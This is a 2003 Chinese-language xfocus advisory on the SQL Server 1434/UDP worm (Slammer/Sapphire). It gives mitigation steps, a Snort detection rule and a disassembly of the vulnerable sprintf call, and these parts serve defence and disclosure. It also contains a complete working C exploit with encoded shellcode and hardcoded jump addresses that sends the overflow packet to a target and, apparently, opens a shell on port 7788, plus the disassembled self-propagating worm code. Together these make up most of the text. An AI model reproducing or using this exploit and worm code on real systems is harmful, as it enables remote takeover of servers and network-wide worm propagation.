xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
添加文章 English Version

SQL Server 蠕虫紧急公告


创建时间:2003-01-26
文章属性:原创
文章来源:http://www.xfocus.net
文章提交:benjurry (benjurry_at_xfocus.org)

SQL Server 蠕虫紧急公告
----------------------------------------------------

www.Xfocus.org
----------------------------------------------------
发布日期:2003-01-25
----------------------------------------------------

影响系统:
MS SQL Server 2000 (SP2及以下版本)
----------------------------------------------------

说明:
----------------------------------------------------

2003年1月25日下午开始,整个网络异常缓慢,Xfocus成员通过对多个地方的网络数据进行捕获和分析,发现了一个严重的SQL蠕虫。

该蠕虫利用了Next Generation Security Software Ltd 在2002年7月份发布的Microsoft SQL Server 2000 Resolution服务远程栈缓冲区溢出漏洞,对SQL Server数据库进行攻击,(详细可见[url]http://www.xfocus.net/vuln/vul_view.php?vul_id=2828|Microsoft SQL Server 2000 Resolution服务存在堆栈缓冲溢出漏洞[/url])该程序非常短小精悍,可以看附件1(用iris截获的数据包)。

该蠕虫利用了UDP 1434端口进行攻击,该端口是用来查询SQL Server服务程序的实例的,当该端口接受到第一个字节为0X04的UDP包时,就会获取UDP包中的数据,然后到注册表中查找相应的值,由于对大小限制出现问题,从而产生溢出漏洞。
由于SQL Server默认是以System权限执行的,该蠕虫利用了上述漏洞进行攻击后,获得了System的权限,同时通过调用GetTickCount()函数获得随机种子。循环产生随机IP,然后往随机产生的ip发送UDP包,以感染其他机器。这个过程将对网络产生重大阻塞,严重影响网络性能。

但是该蠕虫只存在于内存当中,不往硬盘写任何文件,只要关闭SQL Server就可以清除内存中的蠕虫,但是必须要及时安装相应补丁才能防止再次被感染。

临时解决办法:
----------------------------------------------------

1、检查机器是否被感染,可以通过观察SQL Server进程占用的内存数和截获网络数据进行分析

2、如果SQL Server机器已经被感染,为避免进一步扩大,请先停止SQL Server服务:在服务管理器停止服务或者在命令行下输入:net stop mssqlserver

2、给SQL Server机器安装足够的补丁:
  孤立的补丁:
    http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS02-039.asp
  完整的补丁:   SQL Server SP3
    http://www.microsoft.com/sql/downloads/2000/sp3.asp

3、重起机器

4、为了避免其他网段被感染及其导致的拒绝服务攻击,可以在防火墙或路由器上过滤目标端口为1434 udp的数据包

5、如果使用了Snort等IDS软件可以增加下面规则:

alert udp $EXTERNAL_NET any -> $HOME_NET 1434  
(msg:"W32.SQLEXP.Worm propagation";
content:"|68 2E 64 6C 6C 68 65 6C 33 32 68 6B 65 72 6E|";
content:"|04|"; offset:0; depth:1; reference:cve,CAN-2002-0649;
reference:cve,CAN-2002-0650; classtype:attempted-user;
sid:20001; rev:1;)


附件1:[URL=www.xfocus.net/other/ldfx/SQL.cap|用iris截获的蠕虫数据包]www.xfocus.net/other/ldfx/SQL.cap|用iris截获的蠕虫数据包[/URL]
----------------------------------------------------


附录2:Microsoft SQL Server 2000 Resolution服务远程栈缓冲区溢出漏洞分析
----------------------------------------------------

:42CFB584 E8A9210000              Call 42CFD732
:42CFB589 83C408                  add esp, 00000008
:42CFB58C EB42                    jmp 42CFB5D0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:42CFB562(C)
|
:42CFB58E 8B8538DBFFFF            mov eax, dword ptr [ebp+FFFFDB38] //mov     eax,[ebp-0x24c8].输入的字符串的地址
:42CFB594 50                      push eax

* Possible StringData Ref from Data Obj ->"SOFTWARE\Microsoft\Microsoft SQL "
                                        ->"Server\"
                                  |
:42CFB595 68000BD042              push 42D00B00 //"SOFTWARE\Microsoft\Microsoft SQL Server\

* Possible StringData Ref from Data Obj ->"%s%s\MSSQLServer\SuperSocketNetLib\"
                                  |
:42CFB59A 682C0BD042              push 42D00B2C //"%s%s\MSSQLServer\SuperSocketNetLib\"的地址
:42CFB59F 8D8DFCD6FFFF            lea ecx, dword ptr [ebp+FFFFD6FC] // lea     ecx,[ebp-0x2904]
:42CFB5A5 51                      push ecx

* Reference To: MSVCRT.sprintf, Ord:02B2h
                                  |
:42CFB5A6 FF1510E1CF42            Call dword ptr [42CFE110]
:42CFB5AC 83C410                  add esp, 00000010
:42CFB5AF 8B9538DBFFFF            mov edx, dword ptr [ebp+FFFFDB38] //mov     eax,[ebp-0x24c8].输入的字符串的地址
:42CFB5B5 52                      push edx//我们输入的字符串地址,当长度大于64个(132-68)时,溢出。

* Possible StringData Ref from Data Obj ->"SOFTWARE\Microsoft\Microsoft SQL "
                                        ->"Server\"
                                  |
:42CFB5B6 68500BD042              push 42D00B50//"SOFTWARE\Microsoft\Microsoft SQL Server\"

* Possible StringData Ref from Data Obj ->"%s%s\MSSQLServer\CurrentVersion"
                                  |
:42CFB5BB 687C0BD042              push 42D00B7C //"%s%s\MSSQLServer\CurrentVersion"
:42CFB5C0 8D857CFFFFFF            lea eax, dword ptr [ebp+FFFFFF7C]//regbuf 长度为132(0x84)
:42CFB5C6 50                      push eax

* Reference To: MSVCRT.sprintf, Ord:02B2h
                                  |
:42CFB5C7 FF1510E1CF42            Call dword ptr [42CFE110]//sprintf(regbuf,"%s%s\MSSQLServer\CurrentVersion","SOFTWARE\Microsoft\Microsoft SQL Server\",buf);
:42CFB5CD 83C410                  add esp, 00000010

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:42CFB58C(U)
|
:42CFB5D0 8D8D00DBFFFF            lea ecx, dword ptr [ebp+FFFFDB00]


附录3:2002年xfocus成员写的利用程序

----------------------------------------------------

#include "stdafx.h"
#include <string.h>
#include <stdio.h>
#include <windows.h>
#include <winsock2.h>
#include <process.h>

void sendudp (char * targetip)
{
  

    char buf[970];
    memset(buf,'\x90',sizeof(buf));
    unsigned char shellcode[] =
"\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90"
"\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa"
"\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36"
"\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97"
"\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14"
"\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2"
"\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14"
"\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5"
"\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1"
"\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16"
"\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68"
"\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1"
"\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94"
"\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4"
"\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68"
"\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57"
"\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4"
"\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4"
"\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5"
"\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68"
"\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67"
"\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1"
"\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf"
"\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab"
"\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0"
"\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4"
"\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0"
"\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56"
"\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7"
"\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57"
"\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4"
"\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f"
"\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xc0\xa4\x5e\xc6\xc7"
"\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68"
"\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f"
"\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75"
"\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0"
"\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5"
"\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2"
"\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6"
"\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97"
"\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc"
"\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb"
"\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97"
"\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2"
"\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4"
"\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97"
"\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2"
"\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97"
"\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97"
"\x68\x68\x68\x68";


/*


  shellcode的结构如下:


nop......nop|3a2cdbe4(shellcode的地址)|call esp|8个nop|42 d0 1e 40||shellcode|\MSSQLServer\CurrentVersion



  */
    /* 以下内容为EBP中的内容*/

      buf[93]='\xec';
    buf[94]='\xdb';
    buf[95]='\x2c';
    buf[96]='\x3a';


/*
jmp ebp found at 0x77e108fc
*/
    //jmp ebp 在user32中的跳转地址

/*
    buf[97]='\xfc';
    buf[98]='\x08';
    buf[99]='\xe1';
    buf[100]='\x77';
    */

    /*  不同机器上的jmp esp 位置,请自己修改
0x77e19296

buf[97]='\x96';
    buf[98]='\x92';
    buf[99]='\xe1';
    buf[100]='\x77';
  */
    /*jmp esp
  0x77e0492b
*/
buf[97]='\x2b';
    buf[98]='\x49';
    buf[99]='\xe0';
    buf[100]='\x77';


    buf[101]='\xeb';
    buf[102]='\x0b';



    //以下地址为防止下面语句出错而写
    /*
:42CFC16A 8B4510                  mov eax, dword ptr [ebp+10]
:42CFC16D C70000000000            mov dword ptr [eax], 000000
42d01e40
  */
    buf[109]='\x40';
    buf[110]='\x14';
    buf[111]='\xd0';
    buf[112]='\x42';
    buf[0]='\x04';
    memcpy(buf+120,shellcode,sizeof(shellcode));

    SOCKADDR_IN addr_in;


    
  

    SOCKET sock;

    if ((sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET)
    {
        printf("Socket failed.Error:%d\n",WSAGetLastError());
        return;
    }


    addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(1434);
    addr_in.sin_addr.S_un.S_addr=inet_addr(targetip);

        if (sendto(sock, buf, sizeof(buf), 0,(sockaddr*) &addr_in, sizeof(addr_in))==SOCKET_ERROR)
        {
            printf("Send failed.Error:%d\n",WSAGetLastError());
            return;
        }
  
    closesocket(sock);
}

void useage()
{
    printf("******************************************\n");
    printf("SQL2k UDP exploit\n");
    printf("\t Written by benjurry of xfocus.org\n");
    printf("\t Email: benjurry@xfocus.org\n");
    printf("\t sql2kudp targetIP \n");
    printf("*******************************************\n");
}

int main(int argc, char* argv[])
{
    WSADATA WSAData;
  
    useage();
    if (argc<2)
    {
    printf("******************************************\n");
    
    printf("\tPls input the targetIP");
  
    printf("*******************************************\n");    
        return false;
    }
    
    if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
    {
        printf("WSAStartup error.Error:%d\n",WSAGetLastError());
        return false;
    }
    printf("SQL2k UDP exploit, start...");

  
  
      sendudp(argv[1]);
    

    Sleep(500 );
    WSACleanup();
    printf("SQL2kudp exploit  Complete.\n");
printf("Please telnet target's 7788.\n");
    return 0;
}


附录4:EEYE反汇编的蠕虫代码
----------------------------------------------------

;SAPPHIRE WORM CODE DISASSEMBLED
;eEye Digital Security: January 25, 2003


        push    42B0C9DCh       ; [RET] sqlsort.dll -> jmp esp
                mov     eax, 1010101h   ; Reconstruct session, after the overflow the payload buffer
                                        ; get's corrupted during program execution but before the
                                        ; payload is executed. .
                xor     ecx, ecx
                mov     cl, 18h

FIXUP:
                push    eax
                loop    FIXUP
                xor     eax, 5010101h
                push    eax
                mov     ebp, esp
                push    ecx            
                push    6C6C642Eh
                push    32336C65h
                push    6E72656Bh       ; kernel32
                push    ecx
                push    746E756Fh       ; GetTickCount
                push    436B6369h
                push    54746547h
                mov     cx, 6C6Ch
                push    ecx
                push    642E3233h       ; ws2_32.dll
                push    5F327377h
                mov     cx, 7465h
                push    ecx
                push    6B636F73h       ; socket
                mov     cx, 6F74h
                push    ecx
                push    646E6573h       ; sendto
                mov     esi, 42AE1018h  ; IAT from sqlsort
                lea     eax, [ebp-2Ch]  ; (ws2_32.dll)
                push    eax
                call    dword ptr [esi] ; call loadlibrary
                push    eax
                lea     eax, [ebp-20h]
                push    eax
                lea     eax, [ebp-10h]  ; (kernel32.dll)
                push    eax
                call    dword ptr [esi] ; loadlibrary
                push    eax
                mov     esi, 42AE1010h  ; IAT from sqlsort
                mov     ebx, [esi]
                mov     eax, [ebx]
                cmp     eax, 51EC8B55h  ; check entry point fingerprint
                jz      short VALID_GP  ; Check entry point fingerprint for getprocaddress, if it failes
                                        ; fall back to GetProcAddress entry in another DLL version.
                                        ; Undetermined what dll versions this will succedd on. Due
                                        ; to the lack of reliable importing this may not work across all
                                        ; dll versions.
                mov     esi, 42AE101Ch  ; IAT entry -> 77EA094C

VALID_GP:                            
                call    dword ptr [esi] ; GetProcAddress
                call    eax             ; return from GetProcaddress = GetTickCount entrypoint
                xor     ecx, ecx
                push    ecx
                push    ecx
                push    eax
                xor     ecx, 9B040103h
                xor     ecx, 1010101h
                push    ecx             ; 9A050002 = port 1434 / AF_INET
                lea     eax, [ebp-34h]  ; (socket)
                push    eax
                mov     eax, [ebp-40h]  ; ws2_32 base address
                push    eax
                call    dword ptr [esi] ; GetProcAddress
                push    11h
                push    2
                push    2
                call    eax             ; socket
                push    eax
                lea     eax, [ebp-3Ch]  ; sendto
                push    eax
                mov     eax, [ebp-40h]  ; ws2_32 base address
                push    eax
                call    dword ptr [esi] ; GetProcAddress
                mov     esi, eax        ; save sendto -> esi
                or      ebx, ebx        
                xor     ebx, 0FFD9613Ch

PRND:                                
                mov     eax, [ebp-4Ch]  ; Pseudo Random Algorithm Start
                lea     ecx, [eax+eax*2]
                lea     edx, [eax+ecx*4]
                shl     edx, 4
                add     edx, eax
                shl     edx, 8
                sub     edx, eax
                lea     eax, [eax+edx*4]
                add     eax, ebx        ; Pseudo Random Algorithm End
                mov     [ebp-4Ch], eax
                push    10h
                lea     eax, [ebp-50h]
                push    eax
                xor     ecx, ecx
                push    ecx
                xor     cx, 178h
                push    ecx
                lea     eax, [ebp+3]
                push    eax
                mov     eax, [ebp-54h]
                push    eax
                call    esi             ; sendto
                jmp     short PRND    ; Jump back to Pseudo Random Algorithm Start